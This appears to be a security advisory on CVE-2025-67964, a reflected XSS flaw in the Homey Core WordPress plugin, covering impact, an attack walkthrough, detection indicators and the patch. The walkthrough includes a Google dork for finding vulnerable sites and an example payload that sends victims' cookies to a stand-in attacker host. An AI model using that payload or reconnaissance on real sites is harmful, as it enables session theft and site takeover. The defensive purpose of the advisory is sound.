CVE-2025-67964: 
WordPress vulnerability analysis and mitigation

CVE-2025-67964 is a Reflected Cross-Site Scripting (XSS) vulnerability in the favethemes Homey Core WordPress plugin, classified under CWE-79. It affects all versions of Homey Core through 2.4.3 and was reported by researcher João Pedro S Alcântara (Kinorth) on November 10, 2025, with public disclosure on January 22, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), assigned by CISA-ADP (Patchstack, NVD).

The vulnerability stems from improper neutralization of user-supplied input during web page generation (CWE-79), allowing malicious scripts to be reflected back to users via crafted URLs or requests. As a Reflected XSS, the attack requires no persistent storage on the server — the payload is embedded in a request and immediately echoed in the response. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction, specifically a victim clicking a malicious link or visiting a crafted page. The vulnerability was discovered and reported through Patchstack's coordinated disclosure process (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (including administrative actions if an admin is targeted), and redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the impact extends beyond the vulnerable component to the victim's browser environment (Patchstack).

No evidence of active in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Homey Core plugin version 2.4.3 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/homey-core).
2. Identify vulnerable parameter: Locate the specific input parameter(s) in the Homey Core plugin that are reflected without sanitization in the HTTP response.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://target-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target victim (e.g., a site administrator) via phishing email, social engineering, or by embedding it in another page.
5. Achieve objective: When the victim clicks the link and their browser renders the response, the injected script executes — enabling session cookie theft, credential harvesting, or performing actions on the WordPress site with the victim's privileges (Patchstack).

• Network: HTTP requests to WordPress pages with URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in query parameters associated with the Homey Core plugin; outbound requests from victim browsers to unknown external domains shortly after visiting a WordPress page.
• Logs: Web server access logs showing GET/POST requests with suspicious encoded payloads (e.g., %3Cscript%3E, javascript:) in parameters handled by the homey-core plugin; unusual referrer headers in outbound requests.
• File System: No direct file system artifacts expected for reflected XSS, but check for newly created or modified PHP files in wp-content/plugins/homey-core/ that may indicate follow-on compromise.
• Process/Behavior: Unexpected admin account creation, plugin installations, or settings changes in WordPress audit logs following potential XSS exploitation against an administrator.

The vendor (favethemes) has released version 2.4.4 of the Homey Core plugin, which patches this vulnerability. Site administrators should update the plugin to version 2.4.4 or later immediately via the WordPress admin dashboard or manually. Patchstack users benefit from a virtual patching/mitigation rule that blocks exploit attempts until the plugin is updated. As a general hardening measure, implement a Content Security Policy (CSP) header to limit the impact of any XSS vulnerabilities (Patchstack).

Wordfence included this vulnerability in their weekly WordPress vulnerability report covering January 19–25, 2026, highlighting it as part of broader WordPress plugin security tracking (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability database listings.